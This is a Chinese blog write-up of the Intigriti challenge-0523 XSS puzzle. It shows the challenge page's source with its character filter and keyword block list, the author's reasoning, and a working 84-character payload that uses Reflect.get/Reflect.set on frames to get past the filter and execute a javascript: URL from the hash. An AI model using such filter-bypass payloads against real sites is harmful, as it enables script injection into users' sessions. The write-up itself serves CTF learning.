前言
ntigriti的5月XSS挑战,写了一小篇challenge-0523 XSS解题过程记录。payload最终长度 84 字符,国外最短 67 字符。还是要多学习。
题解
https://challenge-0523.intigriti.io/challenge/xss.html?xss=Reflect.set%28frames%2C%27locatio%27%2B%27n%27%2CReflect.get%28frames%2C%27locatio%27%2B%27n%27%29.hash.slice%28true%29%29#javascript:alert(%60Can%20execute%20any%20JavaScript%20content\nDomain:%20${document.domain}%60)
Reflect.set(frames,'locatio'+'n',Reflect.get(frames,'locatio'+'n').hash.slice(true))
页面源码
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src 'none'; script-src-elem data: 'unsafe-inline'">
<title>XSS Challenge</title>
<link rel="stylesheet" href="style.css">
</head>
<body>
<h1>XSS Challenge</h1>
<form method="GET">
<label for="xss">Enter your XSS payload:</label>
<input type="text" name="xss" id="xss" placeholder="e.g. print()">
<input type="submit" value="Submit">
</form>
<script>
(()=>{
opener=null;
name='';
const xss = new URL(location).searchParams.get("xss") || '';
const characters = /^[a-zA-Z,'+\\.()]+$/;
const words =/alert|prompt|eval|setTimeout|setInterval|Function|location|open|document|script|url|HTML|Element|href|String|Object|Array|Number|atob|call|apply|replace|assign|on|write|import|navigator|navigation|fetch|Symbol|name|this|window|self|top|parent|globalThis|new|proto|construct|xss/i;
if(xss.length<100 && characters.test(xss) && !words.test(xss)){
script = document.createElement('script');
script.src='data:,'+xss
document.head.appendChild(script)
}
else{
console.log("try harder");
}
})()
</script>
</body>
</html>
解题思路
这道题的代码量不多,且主要考点是关于JS中,执行方法的一些考验。
const characters = /^[a-zA-Z,'+\\.()]+$/
中规范了只能拿大小写英文与'\+().,
等七种符号进行拼接
const words
中定义了常用执行关键字词的部分特征
另外还有关于字符串长度不能大于100的一个限制,另外执行的环境是data伪协议传递进来的字符串
见到题的第一时间我就在想,会不会是关于 data
伪协议的一些奇奇怪怪的特性,
随即我就翻阅了定义其特性的规范:
RFC2397
https://datatracker.ietf.org/doc/html/rfc2397
规范很简短,在其中我并没有发现什么怪癖的特性。
转移注意力至 words
所定义的黑名单字符串,一开始我想过很多,例如利用addEventListener
得到一个message
或者load
监听器,这样就可以得到一个 Event
,我或许可以利用什么方法去执行Event
中传递的自定义参数,尝试过一段时间后,我发现这样根本不可行。
而后我又在尝试发现 frames
并未处于黑名单之中,利用它我可以拿到Window
对象。这时候我想:如果有某种方法可以在不使用类似 frames['eval']
中的中括号的情况下,可以调用到eval
方法,我就可以执行任意的JS
。
那么该如何获取到其他对象呢?我测试出我能拿到的所有利用String
对象得到的其他对象,例如:
通过 ''.split()
可以得到 Array
利用 ''.length
得到 Number
再翻阅关于对象的一些文章事,我发现了Object.entries
可以将frames
展开为列表,假设如果有一种方法可以得到Object
对象时,我能不能执行任意JS,基于这个想法我做了一些尝试:
通过 Object.entries
遍历frames
然后利用at
取到第161
位的alert
列表。
由于并不能使用数字,故我利用GPU
方法进行相加继而隐式调用toString
,通过3个字符的方法名得到35长度的字符串 GPU+GPU+GPU+GPU+Blob
得到长度为161的字符串:
function GPU() { [native code] }function GPU() { [native code] }function GPU() { [native code] }function GPU() { [native code] }function Blob() { [native code] }
再取后一位的 Fcuntion
最终利用66字符长度得到了 alert
Object.entries(frames).at((GPU+GPU+GPU+GPU+Blob).length).at(+true)
-> alert
完成后,我就越想越不对劲。这还是在没有获取到Object
对象的前提下就已经 66 字符长度了,这再加获取这个对象的方法,100个字符是肯定不够的。研究一度又陷入了死局....
这时候我回过头来看官方给予的提示
关键词 E.C.M.A
与 Six
,一开始我还以为是规范的第六条,刚好也是说明类型相关。翻阅后依然没头绪....
https://262.ecma-international.org/13.0/#sec-ecmascript-data-types-and-values
搁置了一天后,我在想会不会是ES6
的一些方法?于是谷歌一下,得到了一本PDF
https://www.yuque.com/office/yuque/0/2023/pdf/750167/1685176835073-9807bc4f-456b-45c3-a13a-d7085e21948c.pdf?from=https%3A%2F%2Fwww.yuque.com%2Fxsshk%2Fyqyq64%2Flyrgubg94u0xl19y
在对其中在黑名单之外的对象(Proxy、Reflect、Promise)进行阅读后,我找到了这么一个方法:
当时看到它时,我知道,最终的答案就是这个方法。随后简单调试一下下,得到了:
Reflect.get(frames, 'al\ert')('Huuuuu')
剩下的步骤就简单了,我一开始想是利用 eval
直接执行 location.hash
但页面中声明了CSP
:
script-src 'none'; script-src-elem data: 'unsafe-inline'
或者fetch
加载第三方站点的text进行执行,但没办法获得Response
对象中的text
后来注意到除了 Reflect.get
还有一个 Reflect.set
简单了解后得到最终题解(长度84:
Reflect.set(frames,'locatio'+'n',Reflect.get(frames,'locatio'+'n').hash.slice(true))
将Payload
放到location.hash
中执行即可
最后的最后~ 感谢intigriti
与@RenwaX23带来的题目!
点击下方阅读原文可查看原文~